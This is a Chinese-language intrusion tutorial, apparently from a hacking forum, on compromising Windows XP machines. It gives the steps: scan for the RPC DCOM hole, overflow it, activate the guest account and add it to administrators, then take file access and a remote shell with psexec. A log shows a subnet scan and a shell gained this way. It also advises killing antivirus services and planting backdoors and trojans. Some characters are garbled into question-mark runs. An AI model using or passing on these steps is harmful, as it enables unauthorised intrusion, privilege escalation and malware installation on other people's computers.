1.思路：突破xp系统远程访问的限制，实现文件传输和远程登陆。

　　2.工具：rpc漏洞扫描工具、溢出工具，pstools工具包。

　　3.步骤

　　1)步骤一:rpc漏洞扫描：

　　推荐使用retinarpcdcom.exe（eeye公司推出的专门针对RPC漏洞的扫描工具）
 
　　2)步骤二:远程溢出：

　　用xp.exe,溢出成功率极高。

　　3)步骤三:提升guest权限（本方案之关键）：

　　命令:net user guest /active:yes
　　net localgroup aministrators guest /add
————————————————————————————
如果你用net user guest命令，将会看到下面的内容：
Password required????????????No
这正是突破xp系统远程访问帐号限制的突破口！
除了guest外，其它帐号都是
Password required??????????yes
所以就算你有xp系统的管理员帐号密码一样无所作为。
————————————————————————————
当guest提升为admin权限后，试试
dir \\IP\c$??
呵呵，现在你已经有了读写权限，连ipc$连接都省了~~
当然你也一样可以用net use \\ip "" /user:"guest"来进行IPC$连接

到此，文件传输的问题已经解决！

　　4)步骤四:远程登陆

我们当然不想每次用溢出登陆对方。
那么就试试opentelnet吧
>opentelnet \\ip guest "" 1 90
read ntlm failed??????????????????\\shit!用administrator也是这样子。
 
用psexec方便多了，命令如下：
psexec \\ip cmd??????
 
　　5)注意事项：

千万别在xp系统中建新帐户
xp系统默认只能登陆一个帐户，故用3389的远程登陆是不行的。
rpc溢出会导致对方重启，要慎用，尤其是服务器。

在内网里测试，首先用superscan扫了一个网段。
10.200.6.1——10.200.6.254，看看那些机子开放了 5000端口。
一般情况下这样的机子都是XP系统。好了，速度很快，出来一大片。
然后用RPC的溢出工具，打开，填入一个机子的IP地址，失败，可能已经打了补丁
没关系，继续来，终于有一个成功了

Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

为了保险先安装一个后门，传个文件过去，这个方法很多。
TFTP，FTP，在命令行用脚本或者http下载都可以实现。
这个需要考虑对方有没有开杀毒软件，如果有的话先传个pulist.exe以及pslist.exe过去
先把杀毒软件的服务停止，然后杀掉进程，这时再传木马过去。

好了，我们先看看对方的用户信息
C:\WINDOWS\system32>net user
net user

\\ 的用户帐户
-----------------------------------------------------------------
Administrator????????????Guest????????????????????HelpAssistant
SUPPORT_388945a0
命令运行完毕，但发生一个或多个错误。